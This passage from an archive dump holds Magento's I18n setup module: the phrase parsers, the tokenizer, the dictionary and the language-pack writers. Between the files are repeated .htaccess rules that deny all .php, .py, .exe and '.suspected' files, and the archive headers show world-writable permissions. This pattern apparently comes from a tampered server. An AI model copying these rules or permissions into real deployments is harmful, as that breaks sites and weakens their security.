from itself, it @translate or @translatable == true * - from given attributes, split by ",", " " */ class Xml extends AbstractAdapter { /** * {@inheritdoc} */ protected function _parse() { foreach ($this->_getNodes($this->_file) as $element) { if (!$element instanceof \SimpleXMLElement) { continue; } $attributes = $element->attributes(); if ((string)$attributes['translate'] === 'true' || (string)$attributes['translatable'] === 'true') { $this->_addPhrase((string)$element); } else { $this->parseTranslatableNodes($attributes, $element); } } } /** * Get nodes with translation * * @param string $file * @return array */ protected function _getNodes($file) { libxml_use_internal_errors(true); $xml = simplexml_load_file($file); libxml_use_internal_errors(false); if ($xml) { $nodes = $xml->xpath('//*[@translate|@translatable]'); unset($xml); return is_array($nodes) ? $nodes : []; } return []; } /** * Parse nodes pointed out in attribute "translate" and add phrases from them. * * @param \SimpleXMLElement $attributes * @param \SimpleXMLElement $element * @return void */ private function parseTranslatableNodes(\SimpleXMLElement $attributes, \SimpleXMLElement $element) { $nodesDelimiter = strpos($attributes['translate'], ' ') === false ? ',' : ' '; foreach (explode($nodesDelimiter, $attributes['translate']) as $value) { $phrase = trim((string)$element->{$value}); if ($phrase) { $this->_addPhrase($phrase); } $elementAttributes = $element->attributes(); if (isset($elementAttributes[$value])) { $phrase = (string)$elementAttributes[$value]; if ($phrase) { $this->_addPhrase($phrase); } } } } } Magento/Setup/Module/I18n/Parser/Adapter/Js.php000077700000002473151323623130015117 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Parser\Adapter; /** * Js parser adapter */ class Js extends AbstractAdapter { /** * @inheritdoc */ protected function _parse() { $fileHandle = @fopen($this->_file, 'r'); $lineNumber = 0; while (!feof($fileHandle)) { $lineNumber++; $fileRow = fgets($fileHandle, 4096); $results = []; preg_match_all('/mage\.__\(\s*([\'"])(.*?[^\\\])\1.*?[),]/', $fileRow, $results, PREG_SET_ORDER); for ($i = 0, $count = count($results); $i < $count; $i++) { if (isset($results[$i][2])) { $quote = $results[$i][1]; $this->_addPhrase($quote . $results[$i][2] . $quote, $lineNumber); } } preg_match_all('/\\$t\(\s*([\'"])(.*?[^\\\])\1.*?[),]/', $fileRow, $results, PREG_SET_ORDER); for ($i = 0, $count = count($results); $i < $count; $i++) { if (isset($results[$i][2])) { $quote = $results[$i][1]; $this->_addPhrase($quote . $results[$i][2] . $quote, $lineNumber); } } } fclose($fileHandle); } } Magento/Setup/Module/I18n/Parser/Adapter/Php/Tokenizer/Translate/MethodCollector.php000077700000002630151323623130024263 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Translate; use Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\PhraseCollector; /** * MethodCollector */ class MethodCollector extends PhraseCollector { /** * Extract phrases from given tokens. e.g.: __('phrase', ...) * * @return void */ protected function _extractPhrases() { $token = $this->_tokenizer->getNextRealToken(); if ($token && $token->isObjectOperator()) { $phraseStartToken = $this->_tokenizer->getNextRealToken(); if ($phraseStartToken && $this->_isTranslateFunction($phraseStartToken)) { $arguments = $this->_tokenizer->getFunctionArgumentsTokens(); $phrase = $this->_collectPhrase(array_shift($arguments)); $this->_addPhrase($phrase, count($arguments), $this->_file, $phraseStartToken->getLine()); } } } /** * Check if token is translated function * * @param \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Token $token * @return bool */ protected function _isTranslateFunction($token) { $nextToken = $this->_tokenizer->getNextRealToken(); return $nextToken && $token->isEqualFunction('__') && $nextToken->isOpenBrace(); } } Magento/Setup/Module/I18n/Parser/Adapter/Php/Tokenizer/Translate/.htaccess000077700000000177151323623130022265 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Parser/Adapter/Php/Tokenizer/Token.php000077700000006172151323623130020324 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer; /** * Token */ class Token { /** * Value * * @var int|string */ private $_value; /** * Name * * @var int|string */ private $_name; /** * Line * * @var int */ private $_line; /** * Token construct * * @param int|string $name * @param int|string $value * @param int $line */ public function __construct($name, $value, $line = 0) { $this->_name = $name; $this->_value = $value; $this->_line = $line; } /** * Get token name * * @return int|string */ public function getName() { return $this->_name; } /** * Get token value * * @return int|string */ public function getValue() { return $this->_value; } /** * Get line of token beginning * * @return int */ public function getLine() { return $this->_line; } /** * Is "new" operator * * @return bool */ public function isNew() { return $this->getName() == T_NEW; } /** * Whenever token is equal function * * @param string $functionName * @return bool */ public function isEqualFunction($functionName) { return $this->getName() == T_STRING && $this->getValue() == $functionName; } /** * Is object operator * * @return bool */ public function isObjectOperator() { return $this->getName() == T_OBJECT_OPERATOR; } /** * Is whitespace * * @return bool */ public function isWhitespace() { return $this->getName() == T_WHITESPACE; } /** * Is constant encapsed string * * @return bool */ public function isConstantEncapsedString() { return $this->getName() == T_CONSTANT_ENCAPSED_STRING; } /** * Is open brace * * @return bool */ public function isOpenBrace() { return $this->getValue() == '('; } /** * Is close brace * * @return bool */ public function isCloseBrace() { return $this->getValue() == ')'; } /** * Is comma * * @return bool */ public function isComma() { return $this->getValue() == ','; } /** * Is semicolon * * @return bool */ public function isSemicolon() { return $this->getValue() == ';'; } /** * @return bool */ public function isConcatenateOperator() { return $this->getValue() == '.'; } /** * Is namespace separator * * @return bool */ public function isNamespaceSeparator() { return $this->getName() == T_NS_SEPARATOR; } /** * Is identifier * * @return bool */ public function isIdentifier() { return $this->getName() == T_STRING; } } Magento/Setup/Module/I18n/Parser/Adapter/Php/Tokenizer/PhraseCollector.php000077700000011323151323623130022327 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer; use Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer; /** * PhraseCollector */ class PhraseCollector { /** * @var \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer */ protected $_tokenizer; /** * Phrases * * @var array */ protected $_phrases = []; /** * Processed file * * @var \SplFileInfo */ protected $_file; /** * Are the Phrase objects are parsed as well * * @var bool */ protected $includeObjects = false; /** * The class name of the phrase object */ protected $className = 'Phrase'; /** * Construct * * @param Tokenizer $tokenizer * @param bool $includeObjects * @param String $className */ public function __construct(Tokenizer $tokenizer, $includeObjects = false, $className = 'Phrase') { $this->_tokenizer = $tokenizer; $this->includeObjects = $includeObjects; $this->className = $className; } /** * Get phrases for given file * * @return array */ public function getPhrases() { return $this->_phrases; } /** * Parse given files for phrase * * @param string $file * @return void */ public function parse($file) { $this->_phrases = []; $this->_file = $file; $this->_tokenizer->parse($file); while (!$this->_tokenizer->isEndOfLoop()) { $this->_extractPhrases(); } } /** * Extract phrases from given tokens. e.g.: __('phrase', ...) * * @return void */ protected function _extractPhrases() { if ($firstToken = $this->_tokenizer->getNextRealToken()) { if (!$this->extractMethodPhrase($firstToken) && $this->includeObjects) { $this->extractObjectPhrase($firstToken); } } } /** * @param Token $firstToken * @return bool */ protected function extractMethodPhrase(Token $firstToken) { if ($firstToken->isEqualFunction('__')) { $secondToken = $this->_tokenizer->getNextRealToken(); if ($secondToken && $secondToken->isOpenBrace()) { $arguments = $this->_tokenizer->getFunctionArgumentsTokens(); $phrase = $this->_collectPhrase(array_shift($arguments)); if (null !== $phrase) { $this->_addPhrase($phrase, count($arguments), $this->_file, $firstToken->getLine()); return true; } } } return false; } /** * @param Token $firstToken * @return bool */ protected function extractObjectPhrase(Token $firstToken) { if ($firstToken->isNew() && $this->_tokenizer->isMatchingClass($this->className)) { $arguments = $this->_tokenizer->getFunctionArgumentsTokens(); $phrase = $this->_collectPhrase(array_shift($arguments)); if (null !== $phrase) { $this->_addPhrase($phrase, count($arguments), $this->_file, $firstToken->getLine()); return true; } } return false; } /** * Collect all phrase parts into string. Return null if phrase is a variable * * @param array $phraseTokens * @return string|null */ protected function _collectPhrase($phraseTokens) { $phrase = []; if ($phraseTokens) { /** @var \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Token $phraseToken */ foreach ($phraseTokens as $phraseToken) { if ($phraseToken->isConstantEncapsedString() || $phraseToken->isConcatenateOperator()) { $phrase[] = $phraseToken->getValue(); } } if ($phrase) { return implode(' ', $phrase); } } return null; } /** * Add phrase * * @param string $phrase * @param int $argumentsAmount * @param \SplFileInfo $file * @param int $line * @return void */ protected function _addPhrase($phrase, $argumentsAmount, $file, $line) { $this->_phrases[] = [ 'phrase' => $phrase, 'arguments' => $argumentsAmount, 'file' => $file, 'line' => $line, ]; } /** * @param bool $includeObjects * @return $this */ public function setIncludeObjects($includeObjects = true) { $this->includeObjects = (bool)$includeObjects; return $this; } } Magento/Setup/Module/I18n/Parser/Adapter/Php/Tokenizer/.htaccess000077700000000177151323623130020330 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Parser/Adapter/Php/Tokenizer.php000077700000012622151323623130017241 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Parser\Adapter\Php; /** * Tokenizer */ class Tokenizer { /** * Tokens * * @var array */ private $_tokens = []; /** * Tokens count * * @var int */ private $_tokensCount; /** * Open brackets * * @var int */ private $_openBrackets; /** * Close brackets * * @var int */ private $_closeBrackets; /** * Parse given file * * @param string $filePath * @return void */ public function parse($filePath) { $this->_tokens = token_get_all(file_get_contents($filePath)); $this->_tokensCount = count($this->_tokens); } /** * Checks if the next set of tokens is a valid class identifier and it matches passed class name * * @param string $className * @return bool * @SuppressWarnings(PHPMD.CyclomaticComplexity) */ public function isMatchingClass($className) { /* * 1 - beginning, class identifier can begin either with identifier or with namespace separator * 2 - after namespace separator, identifier is expected * 3 - after identifier, namespace separator or open brace is expected * 4 - ending, tells that class identifier is valid */ $state = 1; $classString = ''; while ($token = $this->getNextRealToken()) { if ($token->isNamespaceSeparator() && $state != 2) { $classString .= $token->getValue(); $state = 2; } elseif ($token->isIdentifier() && $state != 3) { $classString .= $token->getValue(); $state = 3; } elseif ($token->isOpenBrace() && $state == 3) { $state = 4; break; } else { return false; } } if ($state == 4 && $className == substr($classString, -strlen($className))) { return true; } return false; } /** * Get arguments tokens of function * * @return array */ public function getFunctionArgumentsTokens() { $arguments = []; try { $this->_openBrackets = 1; $this->_closeBrackets = 0; $argumentNumber = 0; while (true) { $token = $this->getNextToken(); if ($token->isSemicolon()) { break; } if ($token->isOpenBrace()) { $this->_skipInnerArgumentInvoke(); continue; } if ($token->isCloseBrace()) { $this->_closeBrackets++; } $arguments[$argumentNumber][] = $token; if ($token->isComma() && $this->_isInnerArgumentClosed()) { array_pop($arguments[$argumentNumber]); $argumentNumber++; } if ($this->_openBrackets == $this->_closeBrackets) { break; } } } catch (\Exception $e) { return []; } return $arguments; } /** * Whenever inner argument closed * * @return bool */ private function _isInnerArgumentClosed() { return $this->_openBrackets - 1 == $this->_closeBrackets; } /** * Skip invoke the inner argument of function * * @return void */ private function _skipInnerArgumentInvoke() { $this->_openBrackets++; while (!$this->getNextToken()->isCloseBrace()) { if ($this->getCurrentToken()->isCloseBrace()) { $this->_closeBrackets++; } if ($this->getCurrentToken()->isOpenBrace()) { $this->_openBrackets++; } } $this->_closeBrackets++; } /** * Get current token * * @return \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Token */ public function getCurrentToken() { return $this->_createToken(current($this->_tokens)); } /** * Get next token * * @return bool|\Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Token */ public function getNextToken() { return ($token = next($this->_tokens)) ? $this->_createToken($token) : false; } /** * Get next token skipping all whitespaces * * @return \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Token|false */ public function getNextRealToken() { do { $token = $this->getNextToken(); } while ($token && $token->isWhitespace()); return $token; } /** * Check if it is end of loop * * @return bool */ public function isEndOfLoop() { return key($this->_tokens) === null; } /** * Create token from array|string * * @param array|string $tokenData * @return \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Token */ private function _createToken($tokenData) { if (is_array($tokenData)) { return new Tokenizer\Token($tokenData[0], $tokenData[1], $tokenData[2]); } else { return new Tokenizer\Token($tokenData, $tokenData); } } } Magento/Setup/Module/I18n/Parser/Adapter/Php/.htaccess000077700000000177151323623130016356 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Parser/Adapter/Html.php000077700000004460151323623130015445 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Module\I18n\Parser\Adapter; use Exception; use Magento\Email\Model\Template\Filter; /** * Html parser adapter */ class Html extends AbstractAdapter { /** * Covers * <span><!-- ko i18n: 'Next'--><!-- /ko --></span> * <th class="col col-method" data-bind="i18n: 'Select Method'"></th> * @deprecated Not used anymore because of newly introduced constant * @see self::HTML_REGEX_LIST */ const HTML_FILTER = "/i18n:\s?'(?<value>[^'\\\\]*(?:\\\\.[^'\\\\]*)*)'/i"; private const HTML_REGEX_LIST = [ // <span><!-- ko i18n: 'Next'--><!-- /ko --></span> // <th class="col col-method" data-bind="i18n: 'Select Method'"></th> "/i18n:\s?'(?<value>[^'\\\\]*(?:\\\\.[^'\\\\]*)*)'/i", // <translate args="'System Messages'"/> // <span translate="'Examples'"></span> "/translate( args|)=\"'(?<value>[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*)'\"/i" ]; /** * @inheritdoc */ protected function _parse() { // phpcs:ignore Magento2.Functions.DiscouragedFunction $data = file_get_contents($this->_file); if ($data === false) { // phpcs:ignore Magento2.Exceptions.DirectThrow throw new Exception('Failed to load file from disk.'); } $results = []; preg_match_all(Filter::CONSTRUCTION_PATTERN, $data, $results, PREG_SET_ORDER); for ($i = 0, $count = count($results); $i < $count; $i++) { if ($results[$i][1] === Filter::TRANS_DIRECTIVE_NAME) { $directive = []; if (preg_match(Filter::TRANS_DIRECTIVE_REGEX, $results[$i][2], $directive) !== 1) { continue; } $quote = $directive[1]; $this->_addPhrase($quote . $directive[2] . $quote); } } foreach (self::HTML_REGEX_LIST as $regex) { preg_match_all($regex, $data, $results, PREG_SET_ORDER); for ($i = 0, $count = count($results); $i < $count; $i++) { if (!empty($results[$i]['value'])) { $this->_addPhrase($results[$i]['value']); } } } } } Magento/Setup/Module/I18n/Parser/Adapter/Php.php000077700000002076151323623130015271 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Parser\Adapter; use Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\PhraseCollector; /** * Php parser adapter */ class Php extends AbstractAdapter { /** * Phrase collector * * @var \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\PhraseCollector */ protected $_phraseCollector; /** * Adapter construct * * @param \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\PhraseCollector $phraseCollector */ public function __construct(PhraseCollector $phraseCollector) { $this->_phraseCollector = $phraseCollector; } /** * {@inheritdoc} */ protected function _parse() { $this->_phraseCollector->setIncludeObjects(); $this->_phraseCollector->parse($this->_file); foreach ($this->_phraseCollector->getPhrases() as $phrase) { $this->_addPhrase($phrase['phrase'], $phrase['line']); } } } Magento/Setup/Module/I18n/Parser/Adapter/.htaccess000077700000000177151323623130015627 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Parser/Adapter/AbstractAdapter.php000077700000005644151323623130017612 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Parser\Adapter; use Magento\Setup\Module\I18n\Dictionary\Phrase; use Magento\Setup\Module\I18n\Parser\AdapterInterface; /** * Abstract parser adapter */ abstract class AbstractAdapter implements AdapterInterface { /** * Processed file * * @var string */ protected $_file; /** * Parsed phrases * * @var array */ protected $_phrases = []; /** * {@inheritdoc} */ public function parse($file) { $this->_phrases = []; $this->_file = $file; $this->_parse(); } /** * Template method * * @return void */ abstract protected function _parse(); /** * {@inheritdoc} */ public function getPhrases() { return array_values($this->_phrases); } /** * Add phrase * * @param string $phrase * @param string|int $line * @return void * @throws \InvalidArgumentException */ protected function _addPhrase($phrase, $line = '') { if (!$phrase) { return; } if (!isset($this->_phrases[$phrase])) { $enclosureCharacter = $this->getEnclosureCharacter($phrase); if (!empty($enclosureCharacter)) { $phrase = $this->trimEnclosure($phrase); } $this->_phrases[$phrase] = [ 'phrase' => $phrase, 'file' => $this->_file, 'line' => $line, 'quote' => $enclosureCharacter, ]; } } /** * Prepare phrase * * @param string $phrase * @return string */ protected function _stripFirstAndLastChar($phrase) { return substr($phrase, 1, strlen($phrase) - 2); } /** * Check if first and last char is quote * * @param string $phrase * @return bool */ protected function _isFirstAndLastCharIsQuote($phrase) { $firstCharacter = $phrase[0]; $lastCharacter = $phrase[strlen($phrase) - 1]; return $this->isQuote($firstCharacter) && $firstCharacter == $lastCharacter; } /** * Get enclosing character if any * * @param string $phrase * @return string */ protected function getEnclosureCharacter($phrase) { $quote = ''; if ($this->_isFirstAndLastCharIsQuote($phrase)) { $quote = $phrase[0]; } return $quote; } /** * @param string $phrase * @return string */ protected function trimEnclosure($phrase) { return $this->_stripFirstAndLastChar($phrase); } /** * @param string $char * @return bool */ protected function isQuote($char) { return in_array($char, [Phrase::QUOTE_DOUBLE, Phrase::QUOTE_SINGLE]); } } Magento/Setup/Module/I18n/Parser/Contextual.php000077700000004434151323623130015310 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Parser; use Magento\Setup\Module\I18n; /** * Contextual Parser */ class Contextual extends AbstractParser { /** * Context * * @var \Magento\Setup\Module\I18n\Context */ protected $_context; /** * Parser construct * * @param I18n\FilesCollector $filesCollector * @param I18n\Factory $factory * @param I18n\Context $context */ public function __construct(I18n\FilesCollector $filesCollector, I18n\Factory $factory, I18n\Context $context) { $this->_context = $context; parent::__construct($filesCollector, $factory); } /** * Parse one type * * @param array $options * @return void */ protected function _parseByTypeOptions($options) { foreach ($this->_getFiles($options) as $file) { $adapter = $this->_adapters[$options['type']]; $adapter->parse($file); list($contextType, $contextValue) = $this->_context->getContextByPath($file); foreach ($adapter->getPhrases() as $phraseData) { $this->_addPhrase($phraseData, $contextType, $contextValue); } } } /** * Add phrase with context * * @param array $phraseData * @param string $contextType * @param string $contextValue * @return void */ protected function _addPhrase($phraseData, $contextType, $contextValue) { $phraseKey = $contextType . $contextValue. stripslashes($phraseData['phrase']); if (isset($this->_phrases[$phraseKey])) { /** @var \Magento\Setup\Module\I18n\Dictionary\Phrase $phrase */ $phrase = $this->_phrases[$phraseKey]; $phrase->addContextValue($contextValue); } else { $this->_phrases[$phraseKey] = $this->_factory->createPhrase( [ 'phrase' => $phraseData['phrase'], 'translation' => $phraseData['phrase'], 'context_type' => $contextType, 'context_value' => [$contextValue], 'quote' => $phraseData['quote'], ] ); } } } Magento/Setup/Module/I18n/Parser/AdapterInterface.php000077700000000666151323623130016366 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Parser; /** * Adapter Interface */ interface AdapterInterface { /** * Parse file * * @param string $file * @return array */ public function parse($file); /** * Get parsed phrases * * @return array */ public function getPhrases(); } Magento/Setup/Module/I18n/Parser/.htaccess000077700000000177151323623130014247 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Dictionary.php000077700000002264151323623130014032 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n; use Magento\Setup\Module\I18n\Dictionary\Phrase; /** * Dictionary */ class Dictionary { /** * Phrases * * @var array */ private $_phrases = []; /** * List of phrases where array key is vo key * * @var array */ private $_phrasesByKey = []; /** * Add phrase to pack container * * @param Phrase $phrase * @return void */ public function addPhrase(Phrase $phrase) { $this->_phrases[] = $phrase; $this->_phrasesByKey[$phrase->getKey()][] = $phrase; } /** * Get phrases * * @return Phrase[] */ public function getPhrases() { return $this->_phrases; } /** * Get duplicates in container * * @return array */ public function getDuplicates() { return array_values( array_filter( $this->_phrasesByKey, function ($phrases) { return count($phrases) > 1; } ) ); } } Magento/Setup/Module/I18n/FilesCollector.php000077700000002773151323623130014643 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n; /** * Files collector */ class FilesCollector { /** * Get files * * @param array $paths * @param bool $fileMask * @return array */ public function getFiles(array $paths, $fileMask = false) { $files = []; foreach ($paths as $path) { foreach ($this->_getIterator($path, $fileMask) as $file) { $files[] = (string)$file; } } sort($files); return $files; } /** * Get files iterator * * @param string $path * @param bool $fileMask * @return \RecursiveIteratorIterator|\RegexIterator * @throws \InvalidArgumentException */ protected function _getIterator($path, $fileMask = false) { try { $directoryIterator = new \RecursiveDirectoryIterator( $path, \FilesystemIterator::SKIP_DOTS | \FilesystemIterator::UNIX_PATHS | \FilesystemIterator::FOLLOW_SYMLINKS ); $iterator = new \RecursiveIteratorIterator($directoryIterator); } catch (\UnexpectedValueException $valueException) { throw new \InvalidArgumentException(sprintf('Cannot read directory for parse phrase: "%s".', $path)); } if ($fileMask) { $iterator = new \RegexIterator($iterator, $fileMask); } return $iterator; } } Magento/Setup/Module/I18n/Pack/Writer/File/AbstractFile.php000077700000010575151323623130017305 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Pack\Writer\File; use Magento\Setup\Module\I18n\Context; use Magento\Setup\Module\I18n\Dictionary; use Magento\Setup\Module\I18n\Factory; use Magento\Setup\Module\I18n\Locale; use Magento\Setup\Module\I18n\Pack\WriterInterface; /** * Abstract pack writer */ abstract class AbstractFile implements WriterInterface { /** * Context * * @var \Magento\Setup\Module\I18n\Context */ protected $_context; /** * Dictionary loader. This object is need for read dictionary for merge mode * * @var \Magento\Setup\Module\I18n\Dictionary\Loader\FileInterface */ protected $_dictionaryLoader; /** * Domain abstract factory * * @var \Magento\Setup\Module\I18n\Factory */ protected $_factory; /** * Locale * * @var \Magento\Setup\Module\I18n\Locale */ protected $_locale; /** * Save mode. One of const of WriterInterface::MODE_ * * @var string */ protected $_mode; /** * Writer construct * * @param Context $context * @param Dictionary\Loader\FileInterface $dictionaryLoader * @param Factory $factory */ public function __construct(Context $context, Dictionary\Loader\FileInterface $dictionaryLoader, Factory $factory) { $this->_context = $context; $this->_dictionaryLoader = $dictionaryLoader; $this->_factory = $factory; } /** * {@inheritdoc} */ public function write(Dictionary $dictionary, $packPath, Locale $locale, $mode = self::MODE_REPLACE) { $this->writeDictionary($dictionary, $locale, $mode); } /** * {@inheritdoc} */ public function writeDictionary(Dictionary $dictionary, Locale $locale, $mode = self::MODE_REPLACE) { $this->_locale = $locale; $this->_mode = $mode; foreach ($this->_buildPackFilesData($dictionary) as $file => $phrases) { $this->_createDirectoryIfNotExist(dirname($file)); $this->_writeFile($file, $phrases); } } /** * Create one pack file. Template method * * @param string $file * @param array $phrases * @return void * @throws \RuntimeException */ abstract public function _writeFile($file, $phrases); /** * Build pack files data * * @param Dictionary $dictionary * @return array * @throws \RuntimeException */ protected function _buildPackFilesData(Dictionary $dictionary) { $files = []; foreach ($dictionary->getPhrases() as $key => $phrase) { if (!$phrase->getContextType() || !$phrase->getContextValue()) { throw new \RuntimeException( sprintf('Missed context in row #%d.', $key + 1) . "\n" . 'Each row has to consist of 4 columns: original phrase, translation, context type, context value' ); } foreach ($phrase->getContextValue() as $context) { try { $path = $this->_context->buildPathToLocaleDirectoryByContext($phrase->getContextType(), $context); } catch (\InvalidArgumentException $e) { throw new \InvalidArgumentException($e->getMessage() . ' Row #' . ($key + 1) . '.'); } if (null === $path) { continue; } $filename = $path . $this->_locale . '.' . $this->_getFileExtension(); $files[$filename][$phrase->getPhrase()] = $phrase; } } return $files; } /** * Get file extension * * @return string */ abstract protected function _getFileExtension(); /** * Create directory if not exists * * @param string $destinationPath * @param int $mode * @param bool $recursive Allows the creation of nested directories specified in the $destinationPath * @return void */ protected function _createDirectoryIfNotExist($destinationPath, $mode = 0777, $recursive = true) { if (!is_dir($destinationPath)) { mkdir($destinationPath, $mode, $recursive); if ($mode) { chmod($destinationPath, $mode); } } } } Magento/Setup/Module/I18n/Pack/Writer/File/.htaccess000077700000000177151323623130016024 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Pack/Writer/File/Csv.php000077700000003146151323623130015471 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Pack\Writer\File; /** * Pack writer csv */ class Csv extends AbstractFile { /** * File extension */ const FILE_EXTENSION = 'csv'; /** * {@inheritdoc} */ public function _writeFile($file, $phrases) { if (self::MODE_MERGE == $this->_mode) { $phrases = $this->_mergeDictionaries($file, $phrases); } $writer = $this->_factory->createDictionaryWriter($file); /** @var \Magento\Setup\Module\I18n\Dictionary\Phrase $phrase */ foreach ($phrases as $phrase) { $phrase->setContextType(null); $phrase->setContextValue(null); $writer->write($phrase); } } /** * Merge dictionaries * * @param string $file * @param array $phrases * @return array */ protected function _mergeDictionaries($file, $phrases) { if (!file_exists($file)) { return $phrases; } $dictionary = $this->_dictionaryLoader->load($file); $merged = []; foreach ($dictionary->getPhrases() as $phrase) { $merged[$phrase->getPhrase()] = $phrase; } /** @var \Magento\Setup\Module\I18n\Dictionary\Phrase $phrase */ foreach ($phrases as $phrase) { $merged[$phrase->getPhrase()] = $phrase; } return $merged; } /** * {@inheritdoc} */ protected function _getFileExtension() { return self::FILE_EXTENSION; } } Magento/Setup/Module/I18n/Pack/Writer/.htaccess000077700000000177151323623130015145 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Pack/Generator.php000077700000005710151323623130014530 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Pack; use Magento\Setup\Module\I18n\Dictionary; use Magento\Setup\Module\I18n\Factory; use Magento\Setup\Module\I18n\Pack; /** * Pack generator */ class Generator { /** * Dictionary loader * * @var \Magento\Setup\Module\I18n\Dictionary\Loader\FileInterface */ protected $dictionaryLoader; /** * Pack writer * * @var \Magento\Setup\Module\I18n\Pack\WriterInterface */ protected $packWriter; /** * Domain abstract factory * * @var \Magento\Setup\Module\I18n\Factory */ protected $factory; /** * Loader construct * * @param \Magento\Setup\Module\I18n\Dictionary\Loader\FileInterface $dictionaryLoader * @param \Magento\Setup\Module\I18n\Pack\WriterInterface $packWriter * @param \Magento\Setup\Module\I18n\Factory $factory */ public function __construct( Dictionary\Loader\FileInterface $dictionaryLoader, Pack\WriterInterface $packWriter, Factory $factory ) { $this->dictionaryLoader = $dictionaryLoader; $this->packWriter = $packWriter; $this->factory = $factory; } /** * Generate language pack * * @param string $dictionaryPath * @param string $locale * @param string $mode One of const of WriterInterface::MODE_ * @param bool $allowDuplicates * @return void * @throws \RuntimeException */ public function generate( $dictionaryPath, $locale, $mode = WriterInterface::MODE_REPLACE, $allowDuplicates = false ) { $locale = $this->factory->createLocale($locale); $dictionary = $this->dictionaryLoader->load($dictionaryPath); $phrases = $dictionary->getPhrases(); if (!is_array($phrases) || !count($phrases)) { throw new \UnexpectedValueException('No phrases have been found by the specified path.'); } if (!$allowDuplicates && ($duplicates = $dictionary->getDuplicates())) { throw new \RuntimeException( "Duplicated translation is found, but it is not allowed.\n" . $this->createDuplicatesPhrasesError($duplicates) ); } $this->packWriter->writeDictionary($dictionary, $locale, $mode); } /** * Get duplicates error * * @param array $duplicates * @return string */ protected function createDuplicatesPhrasesError($duplicates) { $error = ''; foreach ($duplicates as $phrases) { /** @var \Magento\Setup\Module\I18n\Dictionary\Phrase $phrase */ $phrase = $phrases[0]; $error .= sprintf( "The phrase \"%s\" is translated in %d places.\n", $phrase->getPhrase(), count($phrases) ); } return $error; } } Magento/Setup/Module/I18n/Pack/WriterInterface.php000077700000002522151323623130015675 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Pack; use Magento\Setup\Module\I18n\Dictionary; use Magento\Setup\Module\I18n\Locale; /** * Pack writer interface */ interface WriterInterface { /**#@+ * Save pack modes */ const MODE_REPLACE = 'replace'; const MODE_MERGE = 'merge'; /**#@-*/ /** * Write dictionary data to language pack * * @param \Magento\Setup\Module\I18n\Dictionary $dictionary * @param string $packPath * @param \Magento\Setup\Module\I18n\Locale $locale * @param string $mode One of const of WriterInterface::MODE_ * @return void * 